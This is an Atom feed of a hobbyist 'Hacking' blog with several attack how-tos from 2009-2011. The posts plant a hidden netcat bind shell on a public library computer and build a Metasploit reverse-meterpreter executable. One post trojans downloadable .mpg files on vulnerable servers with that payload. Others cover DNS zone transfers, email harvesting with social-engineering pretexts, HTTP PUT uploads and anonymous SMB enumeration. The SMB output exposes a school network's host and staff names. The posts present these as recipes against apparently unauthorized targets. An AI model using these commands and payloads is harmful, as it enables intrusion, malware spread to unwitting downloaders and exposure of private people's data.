<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7029036124143293621</id><updated>2011-11-10T19:51:55.718-05:00</updated><title type='text'>Hacking</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://wcosughacking.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://wcosughacking.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>WCOSUG</name><uri>http://www.blogger.com/profile/08314145983015840509</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>26</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7029036124143293621.post-3863697132727924501</id><published>2011-07-08T14:48:00.001-04:00</published><updated>2011-07-08T14:53:39.622-04:00</updated><title type='text'>Bind shell using Netcat</title><content type='html'>So I did this while I was at a library, since you do not need admin rights and for I didn’t need to sit at the computer. I set up a netcat listener on port 4444 for I could connect to the computer from anywhere in the building. First I got a vb script straight from MS in order for you do not see the listener running. Create a process hidden in windows I used the script I found &lt;a href="http://gallery.technet.microsoft.com/ScriptCenter/8bbed56f-a7aa-491f-a296-687dd96098a3/"&gt;here&lt;/a&gt;. &lt;br /&gt;&lt;br /&gt;Next I downloaded netcat for windows and created a bat script to run the command I wanted. &lt;br /&gt;C:\Users\Syrus\Documents\nc\nc.exe -lvp 4444 -e cmd.exe&lt;br /&gt;Next I edited the vbs script to include the batch file I made&lt;br /&gt;Const HIDDEN_WINDOW = 12 &lt;br /&gt; &lt;br /&gt;strComputer = "." &lt;br /&gt;Set objWMIService = GetObject("winmgmts:" _ &lt;br /&gt;    &amp; "{impersonationLevel=impersonate}!\\" &amp; strComputer &amp; "\root\cimv2") &lt;br /&gt;Set objStartup = objWMIService.Get("Win32_ProcessStartup") &lt;br /&gt; &lt;br /&gt;Set objConfig = objStartup.SpawnInstance_ &lt;br /&gt;objConfig.ShowWindow = HIDDEN_WINDOW &lt;br /&gt;Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process") &lt;br /&gt;errReturn = objProcess.Create("C:\ Users\Syrus\Documents\test.bat", null, objConfig, intProcessID)&lt;br /&gt;&lt;br /&gt;So this pipes cmd.exe to a listener on port 4444, all I need to do is find the ip of the victim and use netcat to connect. I did this by running.&lt;br /&gt;$ nc -vn 10.10.9.171 4444&lt;br /&gt;Connection to 10.10.9.171 4444 port [tcp/*] succeeded!&lt;br /&gt;Microsoft Windows [Version 6.1.7601]&lt;br /&gt;Copyright (c) 2009 Microsoft Corporation.  All rights reserved.&lt;br /&gt;&lt;br /&gt;C:\Windows\system32&gt;&lt;br /&gt;&lt;br /&gt;Now I have access to the computer from pretty much anywhere in building. Have fun!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7029036124143293621-3863697132727924501?l=wcosughacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wcosughacking.blogspot.com/feeds/3863697132727924501/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7029036124143293621&amp;postID=3863697132727924501' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/3863697132727924501'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/3863697132727924501'/><link rel='alternate' type='text/html' href='http://wcosughacking.blogspot.com/2011/07/bind-shell-using-netcat.html' title='Bind shell using Netcat'/><author><name>WCOSUG</name><uri>http://www.blogger.com/profile/08314145983015840509</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7029036124143293621.post-6499073556328631013</id><published>2011-06-27T11:19:00.003-04:00</published><updated>2011-06-27T11:23:28.523-04:00</updated><title type='text'>Google Enumeration</title><content type='html'>Here we are going to do some Zone transfer and google enum. We found a DNS server that allows Zone transfer and we can see all the hosts a domain has. We can run port scan on these host's or use the information we obtain for a social engineering attack. On Backtrack 2 there is a python script for email enumeration using google. I posted a link to the code below. Once we get a list of emails we can do a google search on them to find out what they have registered there accounts for.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Zone transfer&lt;br /&gt;host -t ns victim.com&lt;br /&gt;victim.com name server ns2.**telecom.net.&lt;br /&gt;victim.com name server ns1.**telecom.net&lt;br /&gt;&lt;br /&gt;host -l victim.com ns1.**telecom.net&lt;br /&gt;Using domain server:&lt;br /&gt;Name: ns1.**telecom.net&lt;br /&gt;Address: **.136.95.2#53&lt;br /&gt;Aliases:&lt;br /&gt;&lt;br /&gt;victim.com name server ns1.**telecom.net.&lt;br /&gt;victim.com name server ns2.**telecom.net.&lt;br /&gt;victim.com has address **.6.150.207&lt;br /&gt;afw.victim.com has address **.132.59.39&lt;br /&gt;asgshare.victim.com has address **.132.59.42&lt;br /&gt;bilbo.victim.com has address **.132.59.38&lt;br /&gt;cbportal.victim.com has address **.195.**.136&lt;br /&gt;demo.victim.com has address **.132.59.41&lt;br /&gt;dev.victim.com has address **.132.59.62&lt;br /&gt;docusign.victim.com has address **.132.59.62&lt;br /&gt;docusigndemo.victim.com has address **.132.59.36&lt;br /&gt;dots.victim.com has address **.132.59.44&lt;br /&gt;dou.victim.com has address **.132.59.49&lt;br /&gt;douinfo.victim.com has address **.132.59.43&lt;br /&gt;eclipse.victim.com has address **.233.172.157&lt;br /&gt;stage.eclipse.victim.com has address **.89.226.67&lt;br /&gt;www.eclipse.victim.com has address **.233.172.157&lt;br /&gt;eclipserebound.victim.com has address **.233.172.156&lt;br /&gt;files.victim.com has address **.6.150.207&lt;br /&gt;ftp.victim.com has address **.132.59.38&lt;br /&gt;test.ftp.victim.com has address **.132.59.38&lt;br /&gt;imagenet.victim.com has address **.6.150.207&lt;br /&gt;kwclnt.victim.com has address **.132.59.62&lt;br /&gt;kwportal.victim.com has address **.195.**.130&lt;br /&gt;kwremote.victim.com has address **.195.**.137&lt;br /&gt;lists.victim.com has address **.23.51.19&lt;br /&gt;localhost.victim.com has address 127.0.0.1&lt;br /&gt;mail.victim.com has address **.17.147.38&lt;br /&gt;mcwebview.victim.com has address **.132.59.40&lt;br /&gt;pahportal.victim.com has address **.195.**.135&lt;br /&gt;palms.victim.com has address **.132.59.45&lt;br /&gt;partners.victim.com has address **.23.52.2&lt;br /&gt;phportal.victim.com has address **.195.**.133&lt;br /&gt;remaxportal.victim.com has address **.195.**.134&lt;br /&gt;remaxremote.victim.com has address **.195.**.134&lt;br /&gt;support.victim.com has address **.132.59.38&lt;br /&gt;tam.victim.com has address **.132.59.47&lt;br /&gt;testdrive.victim.com has address **.132.59.48&lt;br /&gt;tssrv.victim.com has address **.195.**.131&lt;br /&gt;vision.victim.com has address **.132.59.50&lt;br /&gt;waldo.victim.com has address **.132.59.37&lt;br /&gt;&lt;br /&gt;Email Harvesting&lt;br /&gt;Here is the python script I used.&lt;br /&gt;https://docs.google.com/document/d/1-AaKJBaIXP3uzynaTm3kpUhX3ysV8DbFz2r1r1lAR7U/edit?hl=en_US&amp;authkey=CL217ccH&lt;br /&gt;+++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;+ Google Web &amp; Group Results:&lt;br /&gt;+++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;&lt;br /&gt;marketing@victim.com&lt;br /&gt;jbotti@victim.com&lt;br /&gt;JFrankel@victim.com&lt;br /&gt;tfranceski@victim.com&lt;br /&gt;&lt;br /&gt;So a little google search on the email address and see what’s up with these guys. &lt;br /&gt;Example &lt;br /&gt;JFrankel has a post on blackberry.com about not receiving emails through Blackberry enterprise server. The post is old but the concept stays the same this can lead to social engineering by calling saying you’re from blackberry support and can ask network topology questions.&lt;br /&gt;&lt;br /&gt;We can also do some SMTP enumeration or send him a message on blackberry.com forum I think someone would be more prone to open a forum private message link as opposed to an email. The link can lead to somewhere we can do some cross site scripting, enable a back door, really anything. &lt;br /&gt;&lt;br /&gt;We see the domain has a hosted email server do to the IP being in a complete different range. Do an ARIN lookup&lt;br /&gt;**.252.96.3 &lt;br /&gt; NS  ns-east.xxxxx.net &lt;br /&gt;&lt;br /&gt;**.153.156.3 &lt;br /&gt; NS  ns-west.xxxx.net &lt;br /&gt;&lt;br /&gt;**.17.147.38  PTR  mail.xxxxxxxxx.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7029036124143293621-6499073556328631013?l=wcosughacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wcosughacking.blogspot.com/feeds/6499073556328631013/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7029036124143293621&amp;postID=6499073556328631013' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/6499073556328631013'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/6499073556328631013'/><link rel='alternate' type='text/html' href='http://wcosughacking.blogspot.com/2011/06/google-enumeration.html' title='Google Enumeration'/><author><name>WCOSUG</name><uri>http://www.blogger.com/profile/08314145983015840509</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7029036124143293621.post-7122208016752452812</id><published>2011-06-23T10:04:00.001-04:00</published><updated>2011-06-23T10:06:02.513-04:00</updated><title type='text'>Combining Files</title><content type='html'>I’m going to combine my two previous posts &lt;a href="http://wcosughacking.blogspot.com/2011/06/banner-grabbing.html"&gt;here&lt;/a&gt; and &lt;a href="http://wcosughacking.blogspot.com/2011/06/metasploit-binary-payload.html"&gt;here&lt;/a&gt;,now for this exploit in combining files. Say you find a site vulnerable against PUT * HTTP/1.0 that has downloadable content. So I would recommend downloading a file off the server in this case for me it will be 03.mpg. I’m going to combine 03.mpg with my Metasploit Binary Payload meterpreter.exe.&lt;br /&gt;We can use Windows command prompt in order to do this.&lt;br /&gt;C:\ &gt;copy /B 03.mpg + meterpreter.exe file.mpg&lt;br /&gt;03.mpg&lt;br /&gt;meterpreter.exe&lt;br /&gt;        1 file(s) copied.&lt;br /&gt;The copy /B make the output a binary file. So now you can take file.mpg rename it to 03.mpg and PUT it back on the server, whenever someone downloads the file and runs it, it will spawn a meterpreter session to you. Say you do this on a porn site you can get multiple meterpreter sessions for easy exploiting.&lt;br /&gt;&lt;br /&gt;Enjoy!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7029036124143293621-7122208016752452812?l=wcosughacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wcosughacking.blogspot.com/feeds/7122208016752452812/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7029036124143293621&amp;postID=7122208016752452812' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/7122208016752452812'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/7122208016752452812'/><link rel='alternate' type='text/html' href='http://wcosughacking.blogspot.com/2011/06/combining-files.html' title='Combining Files'/><author><name>WCOSUG</name><uri>http://www.blogger.com/profile/08314145983015840509</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7029036124143293621.post-3780933012189988698</id><published>2011-06-22T14:30:00.002-04:00</published><updated>2011-06-22T14:32:44.400-04:00</updated><title type='text'>Metasploit Binary Payload</title><content type='html'>Once again we are going to start off simple. We are going to use Metasploit to make a Binary Payload using a reverse tcp meterpreter session. First we are going to export Metasploit meterpreter to a file. We do this via the following command. The LHOST will be your computer’s IP address for the victim knows where to connect back to. We are going to redirect the output of the command to a file named meterpreter.exe in the root of my http server for simplicity.&lt;br /&gt;&lt;br /&gt;[root@localhost app]# ./msfpayload windows/meterpreter/reverse_tcp LHOST= x.x.70.197 X &gt;/var/www/html/meterpreter.exe&lt;br /&gt;Created by msfpayload (http://www.metasploit.com).&lt;br /&gt;Payload: windows/meterpreter/reverse_tcp&lt;br /&gt; Length: 290&lt;br /&gt;Options: {"LHOST"=&gt;"10.10.13.247"}&lt;br /&gt;Next we are going to give the file rw permission&lt;br /&gt;[root@localhost app]# chmod 665 /var/www/html/meterpreter.exe&lt;br /&gt;Now on the attacking box we need to set up a meterpreter listener.&lt;br /&gt;[root@localhost app]# ./msfconsole&lt;br /&gt;       =[ metasploit v3.7.1-release [core:3.7 api:1.0]&lt;br /&gt;+ -- --=[ 687 exploits - 357 auxiliary - 39 post&lt;br /&gt;+ -- --=[ 217 payloads - 27 encoders - 8 nops&lt;br /&gt;       =[ svn r12635 updated 37 days ago (2011.05.16)&lt;br /&gt;&lt;br /&gt;Warning: This copy of the Metasploit Framework was last updated 37 days ago.&lt;br /&gt;         We recommend that you update the framework at least every other day.&lt;br /&gt;         For information on updating your copy of Metasploit, please see:&lt;br /&gt;             http://www.metasploit.com/redmine/projects/framework/wiki/Updating&lt;br /&gt;&lt;br /&gt;msf &gt; use multi/handler&lt;br /&gt;msf exploit(handler) &gt; set payload windows/meterpreter/reverse_tcp&lt;br /&gt;payload =&gt; windows/meterpreter/reverse_tcp&lt;br /&gt;msf exploit(handler) &gt; set LHOST x.x.70.197&lt;br /&gt;LHOST =&gt; x.x.70.197&lt;br /&gt;msf exploit(handler) &gt; exploit&lt;br /&gt; [*] Started reverse handler on x.x.70.197:4444&lt;br /&gt;[*] Starting the payload handler...&lt;br /&gt;&lt;br /&gt;Next run the executable on the victims computer (I’ll show a better way to do this later down the road).&lt;br /&gt;&lt;br /&gt;[*]Transmitting intermediate stager for over-sized stage…(89 bytes)&lt;br /&gt;[*]Sending stage (2834 bytes)&lt;br /&gt;[*]Sleeping before handling stage…&lt;br /&gt;[*]Uploading DLL (81931 bytes)…&lt;br /&gt;[*]Upload completed.&lt;br /&gt;[*]Meterpreter session 1 opened (x.x.70.197:4444 -&gt; x.x.200.252:1227&lt;br /&gt;meterpreter &gt;&lt;br /&gt;&lt;br /&gt;This has a lot of possibilities if you want to compromise a server you can find one that was vulnerable to my last &lt;a href="http://wcosughacking.blogspot.com/2011/06/banner-grabbing.html"&gt;post&lt;/a&gt;.  Put in a file that gives you command line access to the server and run the executable on the server itself.  This way, get a privileged session to the entire server as opposed to a directory if it is jailed.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7029036124143293621-3780933012189988698?l=wcosughacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wcosughacking.blogspot.com/feeds/3780933012189988698/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7029036124143293621&amp;postID=3780933012189988698' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/3780933012189988698'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/3780933012189988698'/><link rel='alternate' type='text/html' href='http://wcosughacking.blogspot.com/2011/06/metasploit-binary-payload.html' title='Metasploit Binary Payload'/><author><name>WCOSUG</name><uri>http://www.blogger.com/profile/08314145983015840509</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7029036124143293621.post-1334508610431419075</id><published>2011-06-22T10:05:00.009-04:00</published><updated>2011-06-23T14:23:41.728-04:00</updated><title type='text'>Banner Grabbing</title><content type='html'>&lt;div&gt;In more boredom I figured I will just do something easy and simple and usually over looked. We are going to use netcat to do some http server banner grabbing.&lt;br /&gt;&lt;br /&gt;# nc 12.200.x.x 80&lt;br /&gt;HEAD / HTTP/1.0&lt;br /&gt;&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Content-Length: 230&lt;br /&gt;Content-Type: text/html&lt;br /&gt;Content-Location: http://10.1.1.120/WebInterface.htm&lt;br /&gt;Last-Modified: Sat, 29 Mar 2008 16:03:16 GMT&lt;br /&gt;Accept-Ranges: bytes&lt;br /&gt;ETag: "569b6d66b691c81:1d8a"&lt;br /&gt;Server: Microsoft-IIS/6.0&lt;br /&gt;MicrosoftOfficeWebServer: 5.0_Pub&lt;br /&gt;X-Powered-By: ASP.NET&lt;br /&gt;Date: Wed, 22 Jun 2011 14:07:14 GMT&lt;br /&gt;Connection: close&lt;br /&gt;&lt;br /&gt;Just for the record Head requests can be spoofed.&lt;br /&gt;&lt;br /&gt;So we connect on port 80 and issue a head request.&lt;br /&gt;We have the internal IP address which here is 10.1.1.120 When I see a class A IP address for an Internal network I usually guess they are using CIDR. Since the rule of thumb is not to have more then 500 hosts per subnet. So I'm guessing 10.1.1.0/24&lt;br /&gt;&lt;br /&gt;Next It tells us they are using IIS6 which is either Server 2003 or XPx64&lt;br /&gt;&lt;br /&gt;Next we will see what options are available to us. By using.&lt;br /&gt;&lt;br /&gt;Options / HTTP/1.0&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Server: Microsoft-IIS/6.0&lt;br /&gt;Date: Wed, 22 Jun 2011 14:15:15 GMT&lt;br /&gt;X-Powered-By: ASP.NET&lt;br /&gt;MS-Author-Via: DAV&lt;br /&gt;Content-Length: 0&lt;br /&gt;Accept-Ranges: none&lt;br /&gt;DASL: &lt;?XML:NAMESPACE PREFIX = DAV /&gt;&lt;dav:sql&gt;&lt;br /&gt;DAV: 1, 2&lt;br /&gt;Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH&lt;br /&gt;Allow: OPTIONS, TRACE, GET, HEAD, PUT, COPY, PROPFIND, SEARCH, LOCK, UNLOCK&lt;br /&gt;Cache-Control: private&lt;br /&gt;&lt;br /&gt;From here we can see what commands are available to us and PUT is available I believe this is a very underutilized method. So next we can put a file up be it malicious what not. Here is my file.&lt;br /&gt;&lt;br /&gt;# cat 1.txt&lt;br /&gt;blah&lt;br /&gt;&lt;br /&gt;So next you have to see how big the file is.&lt;br /&gt;#wc -m 1.txt&lt;br /&gt;5 1.txt(5bytes)&lt;br /&gt;&lt;br /&gt;#nc 12.200.x.x 80&lt;br /&gt;PUT /1.txt HTTP/1.0&lt;br /&gt;Content-type: text/html&lt;br /&gt;Content-length: 5&lt;br /&gt;&lt;br /&gt;Some servers will give you a status message and some will not.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://s293.photobucket.com/albums/mm61/wcosug/?action=view&amp;amp;current=1.png" target="_blank"&gt;&lt;img src="http://i293.photobucket.com/albums/mm61/wcosug/1.png" border="0" alt="Photobucket"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Just for examples of what you can do, you can make a php script to run commands and through this you can change root/admin passwords if there are multiple services on the computer lets say rdp or ssh you can get an actual session on the victim. This is an old exploit but it is still valid today against miss configured servers and in my opinion should not be over looked.&lt;br /&gt;&lt;br /&gt;&lt;/dav:sql&gt;&lt;/div&gt;&lt;div&gt;&lt;dav:sql&gt;&lt;/dav:sql&gt; &lt;/div&gt;&lt;div&gt;&lt;dav:sql&gt;&lt;/dav:sql&gt; &lt;/div&gt;&lt;p&gt;&lt;dav:sql&gt;&lt;/dav:sql&gt; &lt;/p&gt;&lt;p&gt;&lt;dav:sql&gt; &lt;/dav:sql&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7029036124143293621-1334508610431419075?l=wcosughacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wcosughacking.blogspot.com/feeds/1334508610431419075/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7029036124143293621&amp;postID=1334508610431419075' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/1334508610431419075'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/1334508610431419075'/><link rel='alternate' type='text/html' href='http://wcosughacking.blogspot.com/2011/06/banner-grabbing.html' title='Banner Grabbing'/><author><name>WCOSUG</name><uri>http://www.blogger.com/profile/08314145983015840509</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7029036124143293621.post-2108821217815715784</id><published>2010-06-18T11:22:00.002-04:00</published><updated>2010-06-18T11:38:22.060-04:00</updated><title type='text'>Remote shares</title><content type='html'>I came across this googling for exploits and It's really good for Recon. It uses port 139. So you need to find the Netbios name of the target computer, Microsoft makes this very easy. Once you find a target with 139 open issue the following command.&lt;br /&gt;&lt;br /&gt;$nmblookup -A 12.***.58.154&lt;br /&gt;&lt;br /&gt;The -A switch signifys a remote host. You will get some out put among the lines of.&lt;br /&gt;&lt;br /&gt;Looking up status of 12.***.58.154&lt;br /&gt;        BROOKS          &lt;00&gt; -         M &lt;ACTIVE&gt;&lt;br /&gt;        ARROWSIGN       &lt;00&gt; - &lt;GROUP&gt; M &lt;ACTIVE&gt;&lt;br /&gt;        BROOKS          &lt;20&gt; -         M &lt;ACTIVE&gt;&lt;br /&gt;        ARROWSIGN       &lt;1e&gt; - &lt;GROUP&gt; M &lt;ACTIVE&gt;&lt;br /&gt;&lt;br /&gt;        MAC Address = 00-C0-A8-83-19-5D&lt;br /&gt;&lt;br /&gt;So now we have a Netbios name "BROOKS" So to follow this up we are going to do the following command.&lt;br /&gt;&lt;br /&gt;$smbclient -LBROOKS -I 12.***.58.154&lt;br /&gt;Password:&lt;br /&gt;Domain=[ARROWSIGN] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]&lt;br /&gt;&lt;br /&gt;        Sharename       Type      Comment&lt;br /&gt;        ---------       ----      -------&lt;br /&gt;        IPC$            IPC       Remote IPC&lt;br /&gt;        SharedDocs      Disk&lt;br /&gt;        print$          Disk      Printer Drivers&lt;br /&gt;        ADMIN$          Disk      Remote Admin&lt;br /&gt;        C$              Disk      Default share&lt;br /&gt;Domain=[ARROWSIGN] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]&lt;br /&gt;&lt;br /&gt;        Server               Comment&lt;br /&gt;        ---------            -------&lt;br /&gt;&lt;br /&gt;        Workgroup            Master&lt;br /&gt;        ---------            -------&lt;br /&gt;&lt;br /&gt;I just hit return for the password and it shows a list of shares on that machine, c$ is my favorite share thats why I posted this example you can have access to the whole C:\ Drive with the c$ share you can set a payload to startup on logon etc..&lt;br /&gt;&lt;br /&gt;Like I said before I just use this technique for information gathering for a future attach. I'll show you another example of some information you can get from this.&lt;br /&gt;&lt;br /&gt;$ smbclient -LWEBSERVER -I 12.***.54.11&lt;br /&gt;Password:&lt;br /&gt;Anonymous login successful&lt;br /&gt;Domain=[LORETTO] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager]&lt;br /&gt;&lt;br /&gt;        Sharename       Type      Comment&lt;br /&gt;        ---------       ----      -------&lt;br /&gt;Error returning browse list: NT_STATUS_ACCESS_DENIED&lt;br /&gt;Anonymous login successful&lt;br /&gt;Domain=[LORETTO] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager]&lt;br /&gt;&lt;br /&gt;        Server               Comment&lt;br /&gt;        ---------            -------&lt;br /&gt;        ARAMIREZ&lt;br /&gt;        BUFFY                Buffy Computer&lt;br /&gt;        BUSINESSSERVER&lt;br /&gt;        CHOFFMAN2&lt;br /&gt;        CHOFFMANN            Cindy Hoffmann&lt;br /&gt;        CPELL&lt;br /&gt;        CSANTOYO&lt;br /&gt;        DESTINEYELELAB1&lt;br /&gt;        DESTINEYELEMLAB&lt;br /&gt;        DMUNOZ&lt;br /&gt;        ELEMPRINCIPAL        IBM 2003_25&lt;br /&gt;        ELEMRECEP            IBM2003_#29&lt;br /&gt;        ELEM_LIBRARY&lt;br /&gt;        EMATA&lt;br /&gt;        FAMNET&lt;br /&gt;        FESERVER&lt;br /&gt;        IPORTILLO&lt;br /&gt;        KIMPELL2             Dianne Kimpell&lt;br /&gt;        LMIRANDA&lt;br /&gt;        LORETTO2&lt;br /&gt;        LORETTO2A&lt;br /&gt;        MATA&lt;br /&gt;        NNIETO               Teacher Computer&lt;br /&gt;        PHERRERA2            Patty Herrera&lt;br /&gt;        POLIVAS              Patso Olivas&lt;br /&gt;        PRYHERD              Teacher Computer&lt;br /&gt;        PS-55DAE6&lt;br /&gt;        RECORDS&lt;br /&gt;        RENRIQUEZ&lt;br /&gt;        SASI&lt;br /&gt;        SPACE&lt;br /&gt;        SVR-APP02&lt;br /&gt;        SVR-PDC&lt;br /&gt;        TEC2&lt;br /&gt;        WEBSERVER&lt;br /&gt;&lt;br /&gt;        Workgroup            Master&lt;br /&gt;        ---------            -------&lt;br /&gt;        101                  TEACHER101&lt;br /&gt;        LORETTO              SVR-PDC&lt;br /&gt;        WORKGROUP            SPAREIBM&lt;br /&gt;&lt;br /&gt;This tells you pretty much all the computers on the network, It tells you the domain and other trusted domains and It can also tell you the DC or GC server, very useful information gathering, it's essentially a map of someones LAN.&lt;br /&gt;&lt;br /&gt;Enjoy&lt;br /&gt;-Syrus&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7029036124143293621-2108821217815715784?l=wcosughacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wcosughacking.blogspot.com/feeds/2108821217815715784/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7029036124143293621&amp;postID=2108821217815715784' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/2108821217815715784'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/2108821217815715784'/><link rel='alternate' type='text/html' href='http://wcosughacking.blogspot.com/2010/06/remote-shares.html' title='Remote shares'/><author><name>WCOSUG</name><uri>http://www.blogger.com/profile/08314145983015840509</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7029036124143293621.post-9095960586295729039</id><published>2009-12-29T10:22:00.002-05:00</published><updated>2009-12-29T10:29:43.025-05:00</updated><title type='text'>SSH Tunnel</title><content type='html'>I figured I will do a quick post on SSH Tunnel. I will be tunneling to the wcosug server using putty. I configure tunnels on putty as such&lt;br /&gt;&lt;a href="http://s293.photobucket.com/albums/mm61/wcosug/?action=view&amp;current=Putty.png" target="_blank"&gt;&lt;img src="http://i293.photobucket.com/albums/mm61/wcosug/Putty.png" border="0" alt="Photobucket"&gt;&lt;/a&gt;&lt;br /&gt;Then I configure my web browser to use it as a proxy.&lt;br /&gt;&lt;a href="http://s293.photobucket.com/albums/mm61/wcosug/?action=view&amp;current=proxy.png" target="_blank"&gt;&lt;img src="http://i293.photobucket.com/albums/mm61/wcosug/proxy.png" border="0" alt="Photobucket"&gt;&lt;/a&gt;&lt;br /&gt;Any viola an SSH tunnel. In the future I will go into more about using it as say a RDP tunnel and etc...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7029036124143293621-9095960586295729039?l=wcosughacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wcosughacking.blogspot.com/feeds/9095960586295729039/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7029036124143293621&amp;postID=9095960586295729039' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/9095960586295729039'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/9095960586295729039'/><link rel='alternate' type='text/html' href='http://wcosughacking.blogspot.com/2009/12/ssh-tunnel.html' title='SSH Tunnel'/><author><name>WCOSUG</name><uri>http://www.blogger.com/profile/08314145983015840509</uri><email>noreply@blogger.com</email><gd:image 